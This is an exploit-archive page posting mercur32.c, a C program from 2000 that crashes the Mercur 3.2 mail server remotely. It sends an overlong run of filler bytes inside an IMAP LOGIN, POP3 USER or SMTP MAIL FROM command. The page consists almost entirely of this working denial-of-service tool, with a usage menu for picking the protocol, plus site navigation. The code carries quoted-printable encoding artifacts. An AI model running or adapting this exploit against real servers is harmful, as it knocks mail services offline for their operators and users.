exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mercur32.c

mercur32.c
Posted Jun 15, 2000
Authored by TDP

Remote Denial of Service for Mercur 3.2 allows any remote user to shut down the server.

tags | exploit, remote, denial of service
SHA-256 | 1690ffae3274ca28e04e7f58873add187369c0fbf6c03ecfca0f74620e800cff

mercur32.c

Change Mirror Download
/*
* Remote Denial of Service for Mercur 3.2
*=20
* (C) |[TDP]| - HaCk-13 TeaM - 2000 <tdp@psynet.net>
*
*
* This code shows a Mercur 3.2 vulnerability in which, any remote
* user can cause server shutdown. Previous Mercur versions may be
* affected by this vulnerability.
*
* Greetings to all the other members and all my friends :)=20
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>

void
usage (char *progname)
{
fprintf (stderr, "Usage: %s <hostname> [type]\n", progname);
fprintf (stderr, " Type:\n");
fprintf (stderr, " 0 - IMAP4 (Default)\n");
fprintf (stderr, " 1 - POP3\n");
fprintf (stderr, " 2 - SMTP\n\n");
exit (1);
}

int
main (int argc, char **argv)
{
char *ptr, buffer[3000], remotedos[3100];
int aux, sock, type;
struct sockaddr_in sin;
unsigned long ip;
struct hostent *he;

fprintf (stderr,
"\n-=3D Remote DoS for Mercur 3.2 - (C) |[TDP]| - H13 Team =3D-\n");

if (argc < 2)
usage (argv[0]);

type =3D 0;
if (argc > 2)
type =3D atol (argv[2]);

ptr =3D buffer;
switch (type)
{
case 1:
memset (ptr, 0, 2048);
memset (ptr, 88, 2046);
break;
default:
memset (ptr, 0, sizeof (buffer));
memset (ptr, 88, sizeof (buffer) - 2);
break;
}

bzero (remotedos, sizeof (remotedos));

switch (type)
{
case 1:
snprintf (remotedos, sizeof (remotedos), "USER %s\r\n\r\n\r\n", =
buffer);
break;
case 2:
snprintf (remotedos, sizeof (remotedos),
"MAIL FROM: %s@ThiSiSaDoS.c0m\r\n\r\n\r\n", buffer);
break;
default:
snprintf (remotedos, sizeof (remotedos), "1000 LOGIN =
%s\r\n\r\n\r\n",
buffer);
break;
}

if ((sock =3D socket (AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
{
perror ("socket()");
return -1;
}

if ((he =3D gethostbyname (argv[1])) !=3D NULL)
{
ip =3D *(unsigned long *) he->h_addr;
}
else
{
if ((ip =3D inet_addr (argv[1])) =3D=3D NULL)
{
perror ("inet_addr()");
return -1;
}
}

sin.sin_family =3D AF_INET;
sin.sin_addr.s_addr =3D ip;

switch (type)
{
case 1:
sin.sin_port =3D htons (110);
break;
case 2:
sin.sin_port =3D htons (25);
break;
default:
sin.sin_port =3D htons (143);
break;
}

if (connect (sock, (struct sockaddr *) &sin, sizeof (sin)) < 0)
{
perror ("connect()");
return -1;
}

switch (type)
{
case 1:
fprintf (stderr, "\nEngaged Mercur POP3... Sending data...\n");
break;
case 2:
fprintf (stderr, "\nEngaged Mercur SMTP... Sending data...\n");
break;
default:
fprintf (stderr, "\nEngaged Mercur IMAP4... Sending data...\n");
break;
}

if (write (sock, remotedos, strlen (remotedos)) < strlen (remotedos))
{
perror ("write()");
return -1;
}

sleep (4);

fprintf (stderr, "Bye Bye baby!...\n\n");
if (close (sock) < 0)
{
perror ("close()");
return -1;
}

return (0);
}


Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close